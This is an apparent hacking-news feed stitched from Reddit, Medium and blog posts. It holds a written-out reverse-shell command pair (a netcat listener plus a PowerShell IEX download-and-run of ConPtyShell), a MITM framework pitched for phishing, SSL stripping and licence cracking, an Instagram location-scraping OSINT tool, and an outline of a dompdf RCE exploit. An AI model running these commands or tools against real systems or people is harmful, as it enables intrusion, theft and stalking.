hacking: security in practice
Recently, a sample of ransomware targeting Russia was discovered. Interestingly, the ransomware does not require ransom money unlike ordinary ransomware, but instead sends a message to stop the war.

https://external-preview.redd.it/AlO0lYoj3VBFb_1lMrznnYAnsZKA9YYi-eGI-7JTuy4.jpg?width=640&crop=smart&auto=webp&s=79ef2f011be5385d9e588dae36cdd134c622e02c submitted by /u/Late_Ice_9288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

BlueBit Testnet Launch and Rewards Giveaway!

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...

BlueBit Testnet Launch and Rewards Giveaway!
https://bluebitfinance.medium.com/bluebit-testnet-launch-and-rewards-giveaway-e17a53b4ec77?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium » (https://bluebitfinance.medium.com/bluebit-testnet-launch-and-rewards-giveaway-e17a53b4ec77?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Broken screen android, no USB debugging enabled, how do I access it?

This seemed like the best place to ask. I have a Samsung J5 with a broken screen, unresponsive. I'm trying to request a new Whatsapp backup because my current one is very old. But I can't access it because of this mf broken screen. Also USB debugging isn't enabled because I'm a moron.

Is there a way to this? I've tried remote access to no suceess and ADB but it doesn't list my device, also almost every remote access tutorial's first step is enabling this god dammed USB debugging option.

submitted by /u/Downhouser
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/9i6ZEzRNhufXY-0NrJ-6kxkQqv_MmmnAn68L0QNIBJM.jpg I am trying to use a raspberry pi 0 to get a reverse shell into a windows machine, on the raspberry pi I am using stty raw -echo; (stty size; cat) | nc -lvnp 4444 -s (ip of raspberrypi), and on the windows machine IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell (ipaddress of raspberrypi) 4444. After running this I then get this error:

https://preview.redd.it/7ixax627coo81.png?width=2218&format=png&auto=webp&s=4156ec53c1414678e7d55f86cc122a017a9cdd2f

submitted by /u/RepliedDawn
[link] [comments]

hacking: security in practice
Breaking the Russian Firewall

I have a good friend who is stranded in Russia. Does anyone have any quick and dirty methods for breaking the Russian firewall o subvert that clown Putin? Best case I can email her some software. Thanks!!!

submitted by /u/Goofy-F00T
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

BlueBit Testnet Launch and Rewards Giveaway!

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...

Kali Linux Tutorials
How To Track Down Your Lost Devices?

No one likes to lose their smartphone, but with today’s geolocation technologies, you still have a chance of recovering it. If your gadget has gone missing, you can check for it at the place suggested by the geolocation service.

It’s frustrating to lose any item, whether it’s a phone, a tablet, or a ruggedised device for the office. This is especially true if you’re attempting to assist someone else in locating their smartphone, whether it’s a buddy or coworker.

To track your smartphone, you can use china post tracking service to make the tracking process faster and more effective. Want more? So, let us dive right in.

How to track down devices that have been misplaced or stolen?

Find my phone features in Apple devices.

Apple makes it simple to track down lost phones, stolen tablets, and other items.

If you’ve misplaced an iPhone, iPad, or iPod Touch, you can utilize Apple’s iCloud service to use the Find My app, which will show you the last location where the device was spotted. You can then use loud noises to find it, leave a note for someone who finds it, or lock it down.

How to find offline devices is one of the most intriguing features of the Find My app. Apple uses local device detection on all of its devices. As a result, if someone walks by your device with an Apple device that supports offline detection, you will be alerted to its location.

You must ensure that the Find My feature is enabled in the device’s privacy settings. Otherwise, Find I will not be able to find your iPhone or iPad.

What Is the Best Way to Locate My Android Phone or Tablet?

We have a few solutions at your disposal if you need to locate your Android phone or tablet.

You may use Google’s Find My Handset service to locate your Android device, regardless of its model. You can then choose to play a sound, lock the device, or erase all content for utmost security.

Unfortunately, Find My Device will not work in certain situations. For example, the gadget must be linked to a Google account, connected to the Internet, and set up the required permissions. As a result, if the device is not connected to the internet, the service will not function.

What’s the Best Way to Find Feature Phones or Any Other Device That Doesn’t Run iOS or Android?

If you lose a gadget that isn’t running iOS or Android, you’ll have a harder time recovering it. Nonetheless, you should not give up. You can find your phone — or at the very least, eliminate theft concerns – if you do some planning ahead of time.

You can contact a local police station and file a report if you have recorded the IMEI (International Mobile Equipment Identity), Mobile Equipment Identifier (MEID), or Electronic Serial Number (ESN) number. Officials will be able to look for the device from there.

It’s even more frustrating if your misplaced equipment belonged to your employer. Of course, the methods outlined above can aid in the recovery of stolen company tablets and other devices.

Prevent Personal Info Access

The next step is to keep the thief from gaining access to your sensitive data. Look at the apps’ websites to see whether you can log out or de-register. Also, change your passwords. Data access prevention varies by device; for example, the Blackberry Protect website allows you to lock and change your password, view your device’s location, wipe all of your data, mark the device as stolen, etc.

Let’s wrap up:

Finding the lost device is such a daunting and hard nut to crack. But use our effective guide and follow the above giving instructions carefully for effective results.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Instaloctrack : An Instagram OSINT Tool To Collect All The Geotagged Locations

Instaloctrack, a tool to scrape geotagged locations on Instagram profiles. Output in JSON & interactive map.

Requirements

sudo apt install chromium-chromedriver && chmod a+x /usr/bin/chromedriver

Installation

git clone https://github.com/bernsteining/instaloctrack
cd instaloctrack
pip3 install .

Or use Docker:

sudo docker build -t instaloctrack -f Dockerfile .

Usage

instaloctrack -h
usage: instaloctrack [-h] [-t TARGET_ACCOUNT] [-l LOGIN] [-p PASSWORD] [-v]
Instagram location data gathering tool. Usage: python3 instaloctrack.py -t
optional arguments:
-h, –help show this help message and exit
-t TARGET_ACCOUNT, –target TARGET_ACCOUNT
Instagram profile to investigate
-l LOGIN, –login LOGIN
Instagram profile to connect to, in order to access
the instagram posts of the target account
-p PASSWORD, –password PASSWORD
Password of the Instagram profile to connect to
-v, –visual Spawns Chromium GUI, otherwise Chromium is headless

e.g.

instaloctrack -t

If the target profile is private and you have an account following the target profile you can scrape the data with a connected session:

instaloctrack -t -l -p

How it works

First, we retrieve all the pictures links of the account by scrolling the whole Instagram profile, thanks to selenium’s webdriver.

Then, we retrieve asynchronously (asyncio) each picture link, we check if it contains a location in the picture description, and retrieve the location’s data if there’s one, and the timestamp.

* NB: Since 2018 Instagram deprecated its location API and it’s not possible anymore to get the GPS coordinates of a picture, all we can retrieve is the name of the location. (If you can prove me that I’m wrong about this, please tell me!)

Because Instagram doesn’t provide GPS coordinates, and we’re only given names of places, we have to geocode these (.ie. get the GPS coords from the name’s place).

For this, I used Nominatim’s awesome API, which uses OpenStreetMap. For our usage, no API key is required, and we respect Nominatim’s usage Policy by requesting GPS co ordinatess once every second.

Eventually, once we have all the GPS co ordinatess, we generate a HTML (thanks to jinja2 templating) with Javascript embedded that plots an Open Street Map (thanks to Leaflet library) with all our locations pinned. Once again, no API key is required for this step.

Also, the data collected by the script (location names, timestamps, GPS coordinates, errors) are dumped to a JSON file in order to be re-used.

Example

As an example, here’s the output on the former French President’s Instagram profile, @fhollande:
https://blogger.googleusercontent.com/img/a/AVvXsEhWoNU90oTtM6GaLbErJx2YXz_nFIpnXgcBJumDg6hyWFkCgJBNqJmKDXJFHiQOenDpFyOb6m1Ql7KKc4XsNE4hN6R7UpYP1Mmk80akYj5IPF_gbHmYORhgKKwnN1TRym6nwQqiIYF7vHzFDm2bF0TDdAMWer3Rtxq1hvjODGNRA-DyW9pHf6jmxtrE=s549
The JSON data dump (just a part of it to show the format for a given location):

{
“link”: “https://www.instagram.com/p/-Q_9EvR9eu”,
“place”: {
“id”: “290297”,
“name”: “Musée du quai Branly – Jacques Chirac”,
“slug”: “musee-du-quai-branly-jacques-chirac”,
“street_address”: ” 37 quai Branly”,
” zip_code”: ” 75007″,
” city_name”: ” Paris”,
” region_name”: ” “,
” country_code”: ” FR”
},
“timestamp”: “2015-11-19”,
“gps”: {
“lat”: “48.8566969”,
“lon”: “2.3514616”
}
}
Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is canva and can we get Canva Pro for free?

What is Canva?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Make Dangerous Computer Virus With Notepad

https://cdn-images-1.medium.com/max/1350/0*aoubyZfCdeH1C5DO.jpg
This is only for educational purposes.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Xepor: the web routing framework, brings the best of mitmproxy & Flask

Project home: https://github.com/xepor/xepor

Xepor (pronounced /ˈzɛfə/ , zephyr), a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP request and/or HTTP response in a human-friendly coding style.

This project is meant to be used with mitmproxy. User write scripts with xepor, and run the script inside mitmproxy with mitmproxy -s your-script.py.

If you want to step from PoC to production, from demo(e.g. http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py) to something you could take out with your WiFi Pineapple, then Xepor is for you!

Features

1. Code everything with @api.route(), just like Flask! Write everything in one script and no if..elseany more.
2. Handle multiple URL routes, even multiple hosts in one InterceptedAPIinstance.
3. For each route, you can choose to modify the request before connecting to server (or even return a fake response without connection to upstream), or modify the response before forwarding to user.
4. Blacklist mode or whitelist mode. Only allow URL endpoints defined in scripts to connect to upstream, blocking everything else (in specific domain) with HTTP 404. Suitable for transparent proxying.
5. Human readable URL path definition and matching powered by parse
6. Host remapping. define rules to redirect to genuine upstream from your fake hosts. Regex matching is supported. Best for SSL stripping and server side license cracking !
7. Plus all the bests from mitmproxy! ALL operation modes ( mitmproxy/ mitmweb+ regular/ transparent/ socks5/ reverse:SPEC/ upstream:SPEC) are fully supported.

Use Case

1. Evil AP and phishing through MITM.
2. Sniffing traffic from specific device by iptables + transparent proxy, modify the payload with xepor on the fly.
3. Cracking cloud based software license. See examples/krisp/ as an example.
4. Write complicated web crawler in ~100 lines of codes . See examples/polyv_scrapper/ as an example.
5. ... and many more.

For installation instructions, tutorials and examples, check the Github repo and Documentations.

Disclaimer: I'm the author 😄 since our subreddit doesn't allow cross posting, I re-post my previous thread here. AMA if you guys have any question.

submitted by /u/ttimasdf
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Workaround offered for unpatched HTML-to-PDF rendering vulnerability

Workaround offered for unpatched HTML-to-PDF rendering vulnerabilityPost Views: 1
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 2 Minutes
A popular software library for rendering PDFs from HTML documents suffers from an unpatched vulnerability that poses a remote code execution (RCE) risk, security researchers claim.
Flaws in the dompdf library were uncovered by German security consultancy Positive Security during the audit of a client’s website.

Although it remains unpatched even in the latest version of dompdf (v1.2.0), the vulnerability can be addressed by making sure the software is not in a web-accessible directory.

In addition, it is advisable to sanitize user-supplied input to dompdf installations, at least pending the release of a security update. Suggested mitigations are outlined in greater detail in a post by dompdf’s developers. Communication hiccupAlthough Positive Security contacted dompdf’s developers soon after the vulnerability was discovered last October, the disclosure email was not seen by project maintainer Brian Sweeney because the message was incorrectly misclassified as spam.

In response to queries from The Daily Swig, Sweeney responded promptly to state he agreed with Positive Security’s main findings.
See Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions.png “After reviewing the vulnerability details the next release (1.2.1) will include a patch,” Sweeney told The Daily Swig. “I still cannot provide a timeline for that release, though I would expect it to be within the next few weeks.”

“I can confirm that the reported vulnerability is valid and is unpatched at this time.”

“Positive Security did an excellent job with their research,” Sweeney concluded.

From a dompdf user’s perspective, it’s valuable to know about known security risks and possible workarounds, so Positive Security decided to go public with details of the vulnerability on Wednesday (March 16) ¬– even in the absence of a patch.

In a technical blog post, Positive Security explains how the software is vulnerable because it

Allowed potential attackers to upload font files with a .php extension to the web server.

Because of this security shortcoming a reflected cross-site scripting (XSS) issue can be abused to navigate towards an uploaded .php script, offering a way for potential attackers to achieve code execution on vulnerable systems. Ticket to rideDompdf is a popular open source PHP library that’s used for rendering HTML code as PDFs. Applications include ticket purchases, receipts/invoices, a variety of automated emails, Covid-19 test certificates, and more.
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The software has 8,600 stars, 1,600 forks and 59,200 dependant repositories – metrics that make it the most widely used PHP-to-PDF generation library, according to Positive Security’s Fabian Bräunlein.

“In case the preconditions are met, exploitation is quite easy,” Bräunlein told The Daily Swig.

Bräunlein explained that exploitation would follow a three-part process:

1. Serve the malicious CSS file and PHP font on the internet
2. Trigger the download of the PHP font by including the external CSS during PDF generation
3. Access the downloaded .php file to trigger arbitrary code execution on the server

During a client engagement, Positive Security successfully used the vulnerability to gain arbitrary code execution on our client’s system.

Brä[...]

___________________________
@hacking_Attack
@Hacking_Video

unlein said the security issues with dompdf offers secure development lessons for other software developers.

“A vulnerability like the one now in dompdf can happen quite easily in this intersection of different technologies (PHP, PDF, HTML, CSS, fonts, local, and remote files),” Bräunlein said.

“As a defense-in-depth mechanism, it can therefore make sense to run the PDF generation as isolated as possible from other components of the system.” See Also: Recon Tool: Uncover Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
Source: portswigger.net Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/79ohvicqaKcVP9KT2mDdTH-90x90.jpg Most QNAP NAS Devices Affected by ‘Dirty Pipe’ Linux Flaw5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Lapsus-group-has-hacked-Ubisoft-as-well-90x90.jpg Ubisoft has confirmed it was hacked by Lapsus$ group6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/raccoon-stealer-90x90.jpg Raccoon Stealer Crawls Into Telegram7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/kali-bright-90x90.jpg Kali Unkaputtbar – a new feature on Kali Linux1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/wolf-in-sheps-clothing-2-scaled-e1646927438585-90x90.jpeg Malware Posing as Russia DDoS Tool Bites Ukraine Hackers1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/FTDZNGKMCJPIDKR5RE7MSLIMB4-scaled-90x90.jpg Agencies in Ukraine targeted with MicroBackdoor malware2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/NINTCHDBPICT000622539771-90x90.png Microsoft Addresses 3 Zero-Days & 3 Critical Bugs for March2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/linux-kernel-double-free-vulnerability-90x90.png New Linux bug gives root on all major distros, exploit released2 weeks ago
The post Workaround offered for unpatched HTML-to-PDF rendering vulnerability first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

FILE UPLOAD RESTRICTION BYPASS

We all might have faced a file upload functionality while testing a site, Maybe during ctf’s, or real world pentest, or bug bounties.Continue reading on Medium »
Read more...